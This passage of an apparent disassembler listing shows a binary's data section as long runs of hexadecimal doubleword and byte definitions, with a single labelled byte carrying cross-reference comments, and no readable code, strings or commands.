		dd 9BF792h, 40A5DB61h, 0C7030A80h, 0ADE37400h, 71D49D6Eh
		dd 0D9C51F89h, 0C168061h, 63391AE0h, 0BD3FEC1Fh, 2F3201B8h
		dd 2C30F4B2h, 6AD0EFC5h, 0FDD30019h, 0E75E6DCAh, 0B9FC69E2h
		dd 7B768676h, 470A9200h, 5F229571h, 151A0028h, 14A810CFh
		dd 2A000FD1h, 0E55802FAh, 0EB7D4h, 0CAFC3E56h, 5C63B332h
		dd 97696800h, 1F1A64B2h, 317D9Eh, 4326BFD0h, 0E762EE07h
		dd 4276A26h, 6E8EB201h,	0BCDC91C0h, 1AD200F0h, 8F1FCF9Fh
		dd 97009971h, 0FE797CF4h, 7A0D3Fh, 65B228Dh, 0BE6DB452h
		dd 2A123700h, 0D928A4E8h, 50820062h, 0D8C74638h, 0CD007B6Ch
		dd 0D74FCE41h, 3ECA965h, 0F41D02A6h, 2588E710h,	8D005240h
		dd 0F5CBF146h, 8B72E5h,	730519ECh, 1F2F4748h, 3D495712h
		dd 0DBB76F02h, 956C40EEh, 0FE2A009Bh, 73F29F44h, 0D577A117h
		dd 8016933Bh, 53DCFC36h, 1EA2E009h, 0C0CEEC96h,	4707E814h
		dd 1900B3F7h, 78F6AFB9h, 72F153C0h, 363E00D3h, 0DB625F10h
		dd 810086ACh, 6776FA68h, 12D3F8FEh, 0AFF746h, 2E667D4Ch
		dd 0EC00495Bh, 94E70E7Ch, 9D2A42h, 0D188EDAh, 7AD7244h
		dd 0C65B600h, 0D190CA16h, 46771D9Bh, 0A0C98041h, 9C0A6EBDh
		dd 7AE6D91Eh, 1A514281h, 49E69EFAh, 0DD70DD70h,	0AFA90012h
		dd 97BFA3B3h, 0D05A162h, 5FA76B98h, 3532F9C0h, 378909D0h
		dd 9C205BC7h, 17AAFA6Dh, 6F623Ch, 714C7083h, 7679E239h
		dd 5021051Ch, 0B1A4EBEFh, 0B79FD458h, 0F0F7C60Ch, 3D4B1808h
		dd 1E0102D5h, 200BE124h, 6900302Ah, 82E0FA38h, 0E211CBDBh
		dd 0C61340C8h, 4F1300B0h, 0B6AE1E63h, 153EA704h, 0ADBE00EDh
		dd 56777B1Ch, 70F004EFh, 0C04858FEh, 5EA5ECC2h,	4AD9AA00h
		dd 0C79C115Ch, 5D330635h, 0AEC56F6Eh, 0BD3A5500h, 869313E8h
		dd 0E4F90395h, 9D06CEFAh
		dd 0CBBE10FFh, 173F3CCDh, 0E1A3001Dh, 0FF1E73F3h, 0A51F0072h
		dd 0C1AF124h, 822C8F04h, 0CC00E827h, 9D5D0845h,	0D7B400ACh
		dd 0BAF6F30Eh, 871EFDE1h, 89C0D54Fh, 0F997766Ch, 40C1A2E5h
		dd 3984CD2Ah, 6BCCB868h, 0B29E7207h, 2DC42014h,	9C2AFA62h
		dd 0EB2CC0ADh, 0A743903Ch, 0E90A1AFh, 9260AC40h, 5FBA1D44h
		dd 7C45007Dh, 0C0C6A9D3h, 96AAE300h, 0F5584CDEh, 36A51C8Eh
		dd 0F67B008Dh, 0FE275101h, 1F94BA00h, 4F09A730h, 329D0081h
		dd 926F8CD2h, 0D900A52Fh, 1670157Dh, 122A6BFh, 85D5D154h
		dd 0D11EB89Eh, 1FAE030h, 0CF35C506h, 205366h, 41E68C7Ch
		dd 0C41B7BB2h, 0C2F85401h, 67856801h, 0F233AE0h, 0DA2938A1h
		dd 2815A646h, 447FF300h, 2ACA5AE7h, 174700A3h, 75635399h
		dd 0FA00982Eh, 0AA7D560Fh, 2EAD6A21h, 0BD51E4h,	0A1E916CFh
		dd 1903E1C3h, 95BB1DF0h, 3248A824h, 0C24500A5h,	0B058237Eh
		dd 0FD00947Fh, 0DA8D272Ah, 0D241A6h, 0ADD79CEDh, 0FA3A1E0Bh
		dd 928F2B01h, 0A0894D2Ch, 0B40F98F3h, 62F12647h, 8E5000D7h
		dd 2E8F9F4Ah, 86D72A00h, 0A5E470A3h, 0FF830067h, 780E5B6Eh
		dd 9700FB36h, 32734BA9h, 599BB5h, 7C7A874Ah, 30265541h
		dd 5CDDC200h, 78FA8F54h, 75D7C2Bh, 0A58D9877h, 0BEE830E4h
		dd 6E002ADBh, 22DC338Ch, 4FF267h, 11683691h, 988285F5h
		dd 437B0400h, 0E6D2D06Ch, 362702DFh, 42D5A64Dh,	40B42941h
		dd 0BE6860E8h, 690ED400h, 23C2439Bh, 47970BB0h,	1A8001FDh
		dd 0F1742FA1h, 3EFE0AFEh, 390075F0h, 2C8ACE32h,	0E8027D0Eh
		dd 0CFFF0029h, 0F5823B27h, 3D0026A0h, 0CB83E2Fh, 0F1A4F160h
		dd 7D1DFE4h, 1D4EA899h,	405B043h, 0CFA0D4CDh, 700BBC12h
		dd 80E182CCh, 186988D5h, 0E3060020h, 0E78D904h,	2C03B6BEh
		dd 391D5F7Fh, 930F82Eh,	6FBD00F7h, 9DD3C647h, 330362A8h
		dd 0CAB6F988h, 82C0DD3Ah, 0DB4985h, 0DEA1BE9Fh,	0EE36899Ch
		dd 1B094400h, 0B021281Ch, 0A210008Bh, 404B354Dh, 8E70D90Ch
		dd 7318000h, 0CAACFC86h, 2E309029h, 0B3B2F1h, 3AD294E2h
		dd 9C78255Bh, 7695D401h, 0D9838921h, 8B6420h, 0C2D61B7Eh
		dd 9BD7DD51h, 0C9853F07h, 4F50FC09h, 10FD2Eh, 122133A1h
		dd 272B04A2h, 68674603h, 0D840B36Ah, 0CE4D35h, 0AD131FA0h
		dd 178FB13Ah, 0F00BA20Fh, 0E1C1FE96h, 4D3187F6h, 0EB7C60h
		dd 8C816079h, 3B69D2BCh, 95F5F128h, 44B0CD00h, 2BBAE629h
		dd 8EDC0E39h, 9CA0FCC6h, 0ACD6C96h, 0C00028EEh,	0FA739366h
		dd 3102588h, 6AD0F09Dh,	0E5983154h, 0A031B20h, 19A6960Dh
		dd 0FE50002Dh, 0C3F20E48h, 501FE2A0h, 9E80C0E8h, 0FAB22489h
		dd 0C5786Eh, 8DAC37FFh,	2D1B8BF1h, 0C4652901h, 963B065Ah
		dd 4F9CDE4h, 0FA10BB6Eh, 0F0EC025h, 91008969h, 4CCE1805h
		dd 3FB08E44h, 6D03E8AAh, 5BFA9F66h, 32D52698h, 47C3F300h
		dd 1A22A075h, 42690705h, 4013A4A2h, 71944DC1h, 0A8CDED00h
		dd 0E78DC397h, 29FF82Bh, 1B62DBFh, 0DDE07908h, 0C500F6FBh
		dd 0D9E8A863h, 300AB870h, 39106941h, 0C490150Ch, 301E6098h
		dd 97C20F13h, 48A89E83h, 296F10h, 11FFD986h, 8C7E8F78h
		dd 2B1F2A0Eh, 276BE0C3h, 701B226h, 778255D3h, 0E232A0DAh
		dd 0DF008E90h, 67AF3094h, 3B2734BFh, 0F3804EFFh, 580DD046h
		dd 0B20F0FF2h, 0A01A95C1h, 4F5CDE71h, 0EBFF1D60h, 0F1C000Dh
		dd 0CA6F9EECh, 0D6F3DD00h, 0A630DBFCh, 73F0C7h,	0E8890586h
		dd 3369D044h, 0B67A30F7h, 9991F00h, 1D3F1060h, 0FB709Eh
		dd 846520D4h, 8F4976E6h, 0BE0BDC74h, 83BC48C8h,	0E03066EFh
		dd 0E2C0EF2h, 0D46780E7h, 7A89F4A3h, 19C084ABh,	7D011853h
		dd 17F7788Ah, 6DC8227Bh, 3968002Ah, 0EAE45D86h,	2603C4F2h
		dd 0A78B641Dh, 23FA8D5h, 40C8EF0Bh, 8967008Ah, 5B476D2h
		dd 9816F601h, 0D607D095h, 0C3E0C45Ch, 9D8B4Bh, 211D2A63h
		dd 3BF05F1Bh, 0FE3E0DEAh, 762380A4h, 8152032Fh,	0BB930073h
		dd 0D5B1C24Dh, 91001831h, 9AE18F55h, 7DBE3F6Ah,	35A307A7h
		dd 938E2DD2h, 38795854h, 46DE39h, 9B0AEE74h, 0FCD00Eh
		dd 0C7F3C9D8h, 557C5612h, 91DCEC00h, 3540FEC3h,	4CD80003h
		dd 19B30D62h, 3700284Dh, 8D9950BBh, 5D4226h, 0B73FF453h
		dd 0F975DD9Ch, 5399500h, 0E0A1BA98h, 0A4530056h, 0BCC43247h
		dd 7003388h, 99085FABh,	70123Bh, 0C61EF80Bh, 80271792h
		dd 15C8E900h, 0A4844172h, 0ACB100D2h, 318DCCDDh, 3F00EB78h
		dd 0A86AEC9Eh, 0FE918FAAh, 9B9D001Bh, 0E47C264Fh, 0E8C03498h
		dd 162EFC71h, 19890777h, 33A2DA39h, 4E90DBFDh, 0EF001D30h
		dd 0ABEC5C3Fh, 6A0CE6h,	0E08B6B2Ch, 0F130BFE3h,	405984A1h
		dd 7419D7DEh, 42100600h, 58A1BBBDh, 624B0FDEh, 2BC0934Fh
		dd 1BFDF47Ch, 0A7AD0900h, 4F3D77Eh, 4F9C0248h, 0D2CB2115h
		dd 9867FD40h, 0B39DB500h, 0C4AC9551h, 1D05F8A2h, 722E5C2h
		dd 707FA309h, 78B5CC4Fh, 4483BB24h, 12DDA701h, 0CF00721Ah
		dd 0CB00F89Ah, 427FD46Eh, 302EEFA1h, 0AA80291Dh, 0CF0052CEh
		dd 0B7C49258h, 705C79h,	0ABE410Fh, 0BA25307Bh, 0B9723A00h
		dd 0B5D59229h, 448648F7h, 56E93F00h, 0D083AD8Dh, 5552D900h
		dd 61F7519Ah, 0EDEFEABAh, 0BC25DCh, 69DC56A6h, 5997D293h
		dd 0C6221700h, 5F2CEDD0h, 566000AFh, 1128F3E6h,	0AC28933Dh
		dd 0F900CC37h, 5EB0AE73h, 303AF0CEh, 0B118D26Dh, 4891CC86h
		dd 539C5500h, 900E91C7h, 21870040h, 29E04370h, 0B50737F8h
		dd 98C48B65h, 4C7F7AA1h, 4AECC9DCh, 2AB8F2h, 221D882Fh
		dd 945E41h, 1678BDF6h, 0D909A344h, 0F28A901h, 0A66004C5h
		dd 191D3880h, 6BA56413h, 2401D3E4h, 1E929E4Ah, 2EF8994Fh
		dd 0DD7B00A9h, 0EC90FC79h, 0D23F9CF1h, 0EE188742h, 0BF711659h
		dd 1271E1A8h, 800C289Fh, 0C184B9E8h, 0AC14AB34h, 0FE02872h
		dd 0C0148FC6h, 0D2E7EEA9h, 954A0036h, 0AA7F17F6h, 0D8009461h
		dd 3EF5B655h, 3F880874h, 0F60F11CEh, 1E934B2Fh,	0A06E40CAh
		dd 0F83218D4h, 0D09AFFCh, 8B6C28h, 579FF010h, 472401B4h
		dd 0B5E43F93h, 0FCF2F1F8h, 0F1373EE0h, 67832884h, 0A854C1DBh
		dd 0E0DF2185h, 0C200FA37h, 0A0A9EF5Eh, 28ED6343h, 44A02AE9h
		dd 69C1402Ch, 69A323Ah,	0EDFDDF0h, 0D5E48C73h, 5793AA00h
		dd 720E2715h, 6C60D6h, 3E7792C3h, 995E8CAh, 4F7140EAh
		dd 210EDED0h, 235476h, 0A8105A48h, 0AC62071Fh, 0F937F3h
		dd 6DC8743Ch, 94760800h, 953EB5F5h, 4A7C1Dh, 0B1A80F6Ch
		dd 85938A36h, 0AEEDAB06h, 0D181379Eh, 9CEC04A8h, 0F2F1F361h
		dd 60E2929Ah, 209ED8h, 3418A1D7h, 86AA0AEDh, 9001087Ch
		dd 0A88CB210h, 0F1F3C35Eh, 92F03545h, 0DE151427h, 0F8062CF4h
		dd 5143A896h, 137D621h,	0DB9D0317h, 76289D2Bh, 849C8B4Ah
		dd 48008C1Dh, 8E5AAB71h, 0DE0015Dh, 0CE6220A1h,	56EEF032h
		dd 348FF9C3h, 79C11028h, 4B600675h, 1957F5h, 4C86251Dh
		dd 5A914F73h, 1215F0Ah,	2388708Fh, 815B0003h, 486CB3DEh
		dd 4C648h, 701084FFh, 5EBD0Ah, 0F64CB1EDh, 4ED66E06h, 0FB786C0Ch
		dd 7DA26935h, 4C1D56EBh, 0FEF5F201h, 0F039756Ch, 6D54DE22h
		dd 2A7E96B4h, 30F820A0h, 0DC9C890Ch, 18BAA84Eh,	3839C1EDh
		dd 1660EF0Ah, 0DC481D58h, 85F8A43Fh, 8D85DD04h,	0B8023B49h
		dd 8747EB7Fh, 21209AB4h, 24A06DC3h, 740B21Eh, 709F400Ah
		dd 22811B93h
		dd 245629C4h, 48A3A444h, 18E3420Ch, 28044225h, 5848BC39h
		dd 2F1FAB42h, 3E111414h, 70A4108Ch, 9F977100h, 23D3E0AFh
		dd 0EFFFC300h, 0F0051389h, 0F9FE0707h, 9084ACA0h, 0F2AF7298h
		dd 65DADE13h, 0AD645E00h, 710FCE9Dh, 6D500008h,	0DE23F9EBh
		dd 0FB005357h, 8CC85C93h, 1C3EB377h, 0FB08C760h, 1E2C01F5h
		dd 1726EFD0h, 0FEFBFC88h, 0CF00487Dh, 0DA11140Bh, 16AA3FCh
		dd 0CEEDE0C0h, 0CC794A17h, 360047EAh, 4161D71Ah, 2734E5h
		dd 2450E82h, 0CAC6C5Ch,	76D05200h, 702F4E8Eh, 0B54C0EADh
		dd 0EAC0E5E3h, 260A14D1h, 12206B00h, 7238AE18h,	0D4400F2h
		dd 0E1BC64D9h, 1C00D57Bh, 26C58E3h, 365F5Dh, 0CCBC98Fh
		dd 5B131EAFh, 0AC694D00h, 0F18C4E8Ah, 0FC6E5088h, 61680587h
		dd 90E589F3h, 5227D4DCh, 85E7733Ch, 0ECD7C3F4h,	9969C083h
		dd 97DC50B6h, 241E01D2h, 0D792058Fh, 0B90DD898h, 720054F0h
		dd 8D0673F4h, 41F0FDh, 6C49DB33h, 0B1535A0Eh, 0FCF81C00h
		dd 0A5575464h, 400349B8h, 689C8D00h, 161EF184h,	11A62600h
		dd 0D57E58E9h, 85C51702h, 0B84003E2h, 0C93B582h, 5383EBA8h
		dd 0DC0186E6h, 291747Eh, 0E8F0494Bh, 14C000A0h,	45BC430Dh
		dd 78003C36h, 29C69004h, 96DD27h, 0E13D411Ah, 6230346h
		dd 8F759E3Eh, 0CBB3EA10h, 0E488ADFh, 0A3C0621Fh, 2B755570h
		dd 60E65Fh, 4685D4C8h, 0BCEFC66Eh, 0C189D00h, 78237A48h
		dd 0D1E303DCh, 24DB8102h, 0D8A9C791h, 6C0048ECh, 0A2125F16h
		dd 9535CEFh, 883E21C6h,	7F60AE8Fh, 4F8B67A8h, 2CE410Eh
		dd 60AC8FF8h, 2380AA27h, 0F62C01B7h, 8A77B44Eh,	384FC449h
		dd 0D59E910Eh, 8155A9ACh, 72BF51B0h, 4E8BBF4h, 5E8992CEh
		dd 29578066h, 231F8393h, 2880CCE5h, 854D46CBh, 779E000Eh
		dd 102A8936h, 0A17B52D2h, 8D43211Eh, 0FFC7F07h,	0D65DD500h
		dd 95DE28AFh, 0BFC60097h, 0FCABB86Dh, 6505CC82h, 0A251D235h
		dd 0A90F3180h, 22DD00C0h, 8313154Fh, 7B73B0E6h,	0E7C0CEF3h
		dd 0D00F47Dh, 0F18F19A7h, 3E0867DCh, 18E06B3Ah,	0CD6D3D5Bh
		dd 0BFCEFB00h, 0E4A5D5CAh, 553700F5h, 0A77831A2h, 6F0E07DFh
		dd 0C0C83591h, 1A61E64Ch, 0BF0800D9h, 0AA23403Eh, 2B001249h
		dd 0DAF58833h, 8B81BCh,	0E43D544Dh, 1009D4F8h, 0E1D81E00h
		dd 450D8D65h, 508B004Fh, 75DFAE77h, 5A00A2ACh, 9CAA6809h
		dd 0F2781Dh, 2FDEB126h,	6B23B3EEh, 799F6600h, 0A67A70A0h
		dd 75C8F70Dh, 598D0067h, 8740159Dh, 1848E79Fh, 9B640361h
		dd 0C836F1D9h, 901DF44Fh, 49591E2Bh, 0C4064E9Dh, 0B932ABC0h
		dd 5800B387h, 3A3C2AAEh, 79205B02h, 0D71900DDh,	0D8C22C8h
		dd 0AD019437h, 3E06FD72h, 0C2C88245h, 0CDD600A1h, 17139D52h
		dd 8B00228Ah, 11E658EDh, 1BC130h, 0E544437Ch, 5EA77316h
		dd 8B7F0800h, 0E64EF484h, 2D7685h, 0A9D1276Ah, 6B70304Dh
		dd 88E91500h, 90D573F8h, 0DDA2006Ch, 0A33B27DCh, 1201AA8Ah
		dd 1710064Bh, 55FC03A0h, 2D8791Dh, 7FBD2258h, 16E0F2ACh
		dd 4B00A390h, 1C6E58Dh,	58BAB60h, 422C5913h, 7E87BE99h
		dd 11EAE1CEh, 0FDC0E414h, 0DD582E0Bh, 50DB0055h, 4F2703C7h
		dd 53EF5607h, 71F7091h,	33E07858h, 0D30DCEh, 9EDF6A72h
		dd 653FEC62h, 93C5748h,	80DA77CCh, 0BEA0CB02h, 9EE72BCh
		dd 35F16D4Dh, 7CFD8C00h, 8301801Fh, 76B1FFC9h, 0ADDC1A68h
		dd 22BA1CFEh, 0D830C090h, 0FC022ED2h, 0DD035F03h, 0D02B6B7Fh
		dd 0ADCA2EBh, 0A4E7C434h, 0B16800D5h, 827A29F9h, 6B047F00h
		dd 75CF509Bh, 0EE200ADh, 712A90D4h, 27006C85h, 0BFCB03F3h
		dd 310261h, 3639EB95h, 62113D6Fh, 7AE06C01h, 0BD8B5322h
		dd 468C30h, 2C644D95h, 0DEBBD7F2h, 0BB0260Ch, 46FB29Dh
		dd 91400780h, 0A6A481F8h, 0F5CDEC3Bh, 0AC2A5200h, 2F53AE37h
		dd 61FE0029h, 3F565D8Ah, 1C0FBE7Dh, 40C76670h, 3985337h
		dd 0A019009Fh, 0AFC05B81h, 0B700E37Fh, 5C640CEDh, 0F11BCB2h
		dd 6028C8A7h, 0CA96B0A0h, 49030DDAh, 2E10AE5Eh,	0C2778071h
		dd 0C820EFE1h, 399701Ch, 0A314730Ah, 328083F1h,	407D7A3Ah
		dd 4D41710Fh, 6D066009h, 391E0B98h, 250769DBh, 0B0CD11CFh
		dd 956F62BAh, 3F235100h, 0ABFA057Ch, 193D3F6Eh,	0E097B500h
		dd 0A55F7FD9h, 0FBAD7E07h, 0FF50C466h, 1DFC5B7Ah, 0C093C830h
		dd 602485Eh, 927511C5h,	27E50900h, 0A08913CDh, 3BE103F2h
		dd 0ACAA80AFh, 12D27EE8h, 850F9300h, 0C7DC0A99h, 0AD7902C1h
		dd 52919F21h, 0B5AB2C48h, 0BEC9607h, 0AD33935Fh, 4CD00248h
		dd 4F5AF8F4h, 79807063h, 96F8204Dh, 0D2C040Ah, 0EE009C76h
		dd 7D37C78Ah, 0D2932402h, 0DB8E004Ch, 30BB59A0h, 0EAFF4100h
		dd 430F871Fh, 0B03B18BFh, 0D18829E2h, 3EB6060Eh, 208E20BCh
		dd 0C6518B5h, 7BA09AD9h, 0AB0C5760h, 1199225Ch,	0AF1C0087h
		dd 0FCCBC801h, 726BF06h, 9C1EAC2Fh, 126176EDh, 0CBBC4Eh
		dd 0C63FE8EFh, 2BC103h,	8F9E2DCFh, 0F1FF6496h, 0F0A00A71h
		dd 5F0CF53Fh, 1016C5C8h, 28EF01F0h, 74751BBEh, 0AB40873Dh
		dd 0CBC0F582h, 183344BAh, 7853BF18h, 6F1821B2h,	4928350Eh
		dd 0C59B0683h, 205DD11Fh, 0A65F3E00h, 0AB8F17C1h, 0D2220060h
		dd 0FF141A99h, 301D8AF3h, 83C0EF15h, 0A9476A03h, 0C1E07DFh
		dd 0F786B193h, 0E655705Fh, 8A00F976h, 80A3D327h, 0F4282AFh
		dd 91B92147h, 764FBA80h, 0D0005850h, 8DCAB3A4h,	1ED099Dh
		dd 21EEC622h, 0FCC5042Ch, 180E40B9h, 4E96EB5Eh,	0CC4D83CAh
		dd 0B4B2A883h, 942D0087h, 1E532398h, 0FF00892Ah, 11ADE673h
		dd 0DEE2EDh, 4CB77BF5h,	0BB428E59h, 6AD30A01h, 875DA7EAh
		dd 0D42E70h, 52745AC4h,	0B9F34434h, 0DFCAC007h,	1E75E1h
		dd 6ABAE7CBh, 10B7CF0h,	14C6EFE3h, 0F041319Dh, 7B003A15h
		dd 0BBF5D21Fh, 2367A9h,	0C0ECDD3Eh, 515AA432h, 0E7CE502h
		dd 40DC1DEFh, 2B14924h,	0C585F290h, 0EFE0D74Bh,	0D2060ECCh
		dd 2B9181CFh, 0E07848C8h, 76A1E070h, 8D161C7Bh,	8224C0FBh
		dd 1BF269F6h, 8CEF9524h, 0D2AFE200h, 5AA97673h,	9E8F1h
		dd 9A1762DAh, 48F514FDh, 2100009Bh, 0F38034A6h,	7600663Eh
		dd 93E8A816h, 24195041h, 153B082h, 0EBB93996h, 1C48C47Dh
		dd 0B645C703h, 0A9ACBD61h, 0F1C19F4Bh, 24088220h, 74C3F2h
		dd 4F9BB011h, 1600D95Bh, 339E8AC1h, 0B042A7Ah, 3AB473B3h
		dd 630BC080h, 0B200C7DEh, 0BC2FC9A9h, 0A2F6F4h,	96D0482Eh
		dd 0EEDAE859h, 0C9002577h, 0FFB91366h, 48F4D33Dh, 0C214AEEBh
		dd 5803D0BAh, 70C11E4Eh, 0E0118CA1h, 541E8132h,	950A6977h
		dd 823EC1B1h, 4EB0A27Bh, 83DC8088h, 0D95871h, 932DF420h
		dd 6D32E8BCh, 0B4B7030Eh, 0CD89E10Dh, 104045E1h, 2E0827h
		dd 2CC8BDBh, 0C9DC7792h, 0A41A462Ch, 0C0CF2F00h, 45714h
		dd 64E324D9h, 0F35BB67Ch, 37B08700h, 53DA9117h,	0D733002Ch
		dd 0BECCC055h, 0F660F87Eh, 19C764C9h, 0DA0B008Bh, 0C4631085h
		dd 5E3B242Ch, 768BD89h,	9576E838h, 33F267D0h, 0B28301ACh
		dd 89475D9Fh, 4B7D60A8h, 0F82ED100h, 0BC925A54h, 12A601DBh
		dd 9820CCF3h, 7FF4EC45h, 0E51A1300h, 65588ED0h,	0CA94899h
		dd 6FA8A026h, 83126800h, 0F800EA8Ah, 9F36B813h,	0F64FB09Ch
		dd 538F0B49h, 0C280D12Bh, 8671CF31h, 98392400h,	6618F5B8h
		dd 1F21078Bh, 0A0375F46h, 263E5478h, 0E925081Eh, 0F106C6C0h
		dd 1FDC57ABh, 0BCC7B9E6h
		dd 3CA5DD0Ch, 0BF00A378h, 29649865h, 1445B85Eh,	0CD7E40D3h
		dd 0B98B821Fh, 6D4A2800h, 0ECB93801h, 9A0E6673h, 6032A10Dh
		dd 7AA054BFh, 0B8E3240Eh, 59CA0000h, 0AD1A94F6h, 9E88E400h
		dd 0CFB477A1h, 99EB006Ch, 3644B126h, 9B00CCF8h,	4CD893E6h
		dd 7F35881h, 3D8F509Dh,	27D1500Ch, 8075305h, 4414C162h
		dd 168024C0h, 0CBEE006Dh, 65300B1Ch, 173E98C9h,	0E6AA006Ah
		dd 3D55AFA4h, 0BCB1006Ch, 294102B7h, 0AB00DB87h, 353EA136h
		dd 0B25852h, 0CC8851B9h, 0DDF50ACBh, 0C2FEEE00h, 0D157191h
		dd 0B8847D45h, 0D8A21777h, 0E2BC001Bh, 0DAD6A8C1h, 7FFBDE01h
		dd 626CC579h, 74CF6E0h,	1E5CCD10h, 16BF5065h, 2600B2EDh
		dd 78D3E909h, 0A4EBC52h, 0E644ABE1h, 42FA0480h,	0C077C4E8h
		dd 8CD76B25h, 0B49CAA07h, 0B8E0F395h, 1DB5C598h, 459F5603h
		dd 77A847h, 5BCD8EF5h, 6D0027E1h, 62632832h, 3BE2D76h
		dd 83C51DDAh, 2BB024DDh, 7100F5AAh, 0B8E740E9h,	0D18B5Dh
		dd 0AB3EE892h, 886D0AD9h, 0F674237Ch, 30D2EF00h, 0BF1A26FDh
		dd 0A36B0382h, 0DA39631Fh, 6C60CDCAh, 0F4073656h, 0C3476FC9h
		dd 71F1650h, 5EEB3DA1h,	3A8A9280h, 0F2E25F41h, 52CE8E00h
		dd 0DF498208h, 15A63AFBh, 0F61DE703h, 7CA00B27h, 79004CAEh
		dd 71D86119h, 0A00E862Ch, 0CDF0D4h, 9EE45BB0h, 88E7CF4Ch
		dd 0AB93C2Eh, 0BB03D14h, 722ADE9h, 20ACF63Fh, 0C8C700E2h
		dd 0FE6DEC79h, 8A609B32h, 624B1D3Ah, 23430042h,	0DCED88E8h
		dd 29176F2Bh, 1F009EFDh, 6A407DCFh, 1C970079h, 749F7152h
		dd 0FF3F2423h, 6CBC2445h, 0B956FE00h, 0FAD317h,	306C6E5Ch
		dd 3A25A031h, 0F83F8701h, 1F72ABB7h, 224D1083h,	0C0C4D7F3h
		dd 0B9F4A6C2h, 0FB00AE71h, 1F174582h, 1D75DC15h, 318B47Ah
		dd 0FA28DE4Fh, 0BC70A6F0h, 920EAA3Bh, 9A01E686h, 221A1F04h
		dd 0B154B02Ah, 80F7C838h, 0D7583E2Dh, 4164BBh, 0F25AE0CFh
		dd 0DE8CBA17h, 49384B00h, 0F9068936h, 0FF26005Bh, 0C1E96276h
		dd 9B00926Ah, 7DD3E309h, 449F35h, 0EC693D6Fh, 0C4DE40F3h
		dd 0F70B95F4h, 82A8EEA5h, 4021A6CBh, 0ECE82C29h, 0D2EA0014h
		dd 7F9C3761h, 0BDFCD7F5h, 0CF75AF00h, 474338FDh, 3AA40042h
		dd 0DC519294h, 0EBB8B568h, 9AD1A301h, 59400141h, 6AAF3F0h
		dd 0B5B1EF75h, 55009832h, 5D3D7F72h, 0F0E001h, 60125495h
		dd 5FE2C56Eh, 0F150C707h, 3350A06Ch, 78CABE3h, 629DFFC6h
		dd 31EAF0C5h, 0C9F8D007h, 0F41B7300h, 6BE3B71Eh, 0FA3F03ADh
		dd 0E2210D3Eh, 1C6217A8h, 2F77FF01h, 98A15341h,	48090FCh
		dd 75C49157h, 0B389063h, 6E0188F9h, 2A7EC084h, 4070EE0Ah
		dd 96AC0072h, 4F5BE871h, 0AA0F9A73h, 44975A1Eh,	74843DE3h
		dd 2FACEE00h, 0F6417FDh, 4EB61C40h
		db 0C0h, 66h, 0Eh
byte_52004F	db 0B0h			; DATA XREF: ___:0043F6FDo
					; ___:0043FF0Do
		dd 74001361h, 0EF37419Fh, 3EA1469Ah, 8D069533h,	64CC25ACh
		dd 11F20F00h, 36B65E59h, 1EF67F8Fh, 693F0Dh, 5DCA572Eh
		dd 5E00DF56h, 3BBE7462h, 48309Dh, 32F70BAEh, 6D750994h
		dd 0AA15FF00h, 0B665FB85h, 3392398Fh, 0FC1C00F7h, 7DA54F68h
		dd 960012FAh, 460F53F8h, 1E566EA2h, 8325E7FDh, 0DE93A4D2h
		dd 163D97BBh, 57928011h, 20F7FF83h, 6B710004h, 26050F9Dh
		dd 343977F5h, 0F3070023h, 0CE18AB58h, 9F2200E6h, 0FD9B19E9h
		dd 36730B68h, 2E3FF00h,	16A2B9BAh, 12A00ECh, 585A5332h
		dd 46071E10h, 0C0433BF3h, 0AA0055C5h, 3AA80A6Ah, 81B9B0F1h
		dd 5DF890F8h, 42820E9Ch, 40C04DCDh, 5079CFE8h, 57DE6707h
		dd 0E507EB51h, 4AFB5230h, 0BF6C0053h, 7836B9F6h, 348EC9Ah
		dd 2BF00088h, 283D8AF5h, 53670083h, 0BE0B0410h,	39617576h
		dd 0DC7FCC58h, 1CFCC420h, 8793B306h, 7028FAC9h,	92604D08h
		dd 0EE1A4212h, 2A03B51Fh, 0E9559E18h, 0F47090B1h, 32393DA3h
		dd 0A09413h, 0CB5D03E2h, 931CFE59h, 0BB4089B1h,	756AB717h
		dd 0DD241E37h, 7F923FFCh, 0CC7307E1h, 6D4E70AAh, 0B2733F04h
		dd 4BE8A000h, 0E1555979h, 0B85C000Bh, 3F47CEDh,	0E9078D30h
		dd 9A4E3780h, 10BF4C20h, 0EE4900B0h, 9B590F11h,	0F3003C42h
		dd 579CB6BAh, 27ABEDh, 6872FFC1h, 851671C9h, 4303B4E2h
		dd 2957D31Bh, 60E1A273h, 798D5EB4h, 181300C9h, 0BC2E426Ah
		dd 4000E648h, 33CD3F66h, 0E108F9h, 88E9A94Ah, 0A2C43735h
		dd 0AEEDEF00h, 837B0FB4h, 2DBD00BEh, 17996FD1h,	53129847h
		dd 0A41FEEADh, 9C2E000h, 3AD48A96h, 0A03B854Bh,	1DE80C75h
		dd 6D10AD4Ah, 7EEE9720h, 6A4100A5h, 32447FAEh, 1B1E0113h
		dd 200F98A6h, 9222A08Eh, 4CA44F34h, 0E7007CC2h,	3ED84BB6h
		dd 0A700140Bh, 7A5B073Dh, 28A94138h, 2814AD5Eh,	4C5574h
		dd 9A619729h, 965A13E1h, 1C0128A4h, 0F3D52778h,	0B3D8BF7Ch
		dd 0D21918D6h, 48E98812h, 0C9026F00h, 748C4E80h, 8FE70C46h
		dd 5F1A35D4h, 84CC3901h, 9EE669DAh, 3916C9E4h, 1A07925Ah
		dd 0A0E9E1ACh, 83673D56h, 0BA3F38h, 2B96ADBCh, 6153FDh
		dd 0EFB1CCAAh, 115B5D91h, 88EE5000h, 0BD7A7425h, 3B201E17h
		dd 4C628087h, 8C92683h,	280073B8h, 64EF5830h, 52972Ah
		dd 0E5ED54Fh, 89C1D086h, 3BB2380Fh, 0BA3C00E9h,	20AF63h
		dd 0F485691h, 0F2151BA7h, 244D63Fh, 1E37E0E2h, 0AF1448D4h
		dd 0B4AA5076h, 0BC840D6Dh, 46086E13h, 8F7820EAh, 5200BF74h
		dd 351E7A20h, 8674A8h, 0A37399E0h, 3CEEFE4Fh, 0F6AA5500h
		dd 1CCF877Dh, 184E65C9h, 88860786h, 591EC078h, 34054F18h
		dd 0AC58F2E8h, 31BED840h, 6179B7Fh, 4ED25A32h, 0A8670824h
		dd 7F206D21h, 0B0F24D1Ch, 64D92F5Dh, 21369ED4h,	361E0DA8h
		dd 9180F19Fh, 2C80F760h, 5A17E47Fh, 0B2225C43h,	7F265800h
		dd 983CE332h, 76D8001Fh, 0DDBD6D73h, 0C12AD93Dh, 3E469C4Eh
		dd 0D3BF8102h, 4E31454Bh, 0AA68C810h, 0ADD52B03h, 0B0701860h
		dd 6E76A0h, 6DD62199h, 200F15DEh, 0B39CBC24h, 37D8F100h
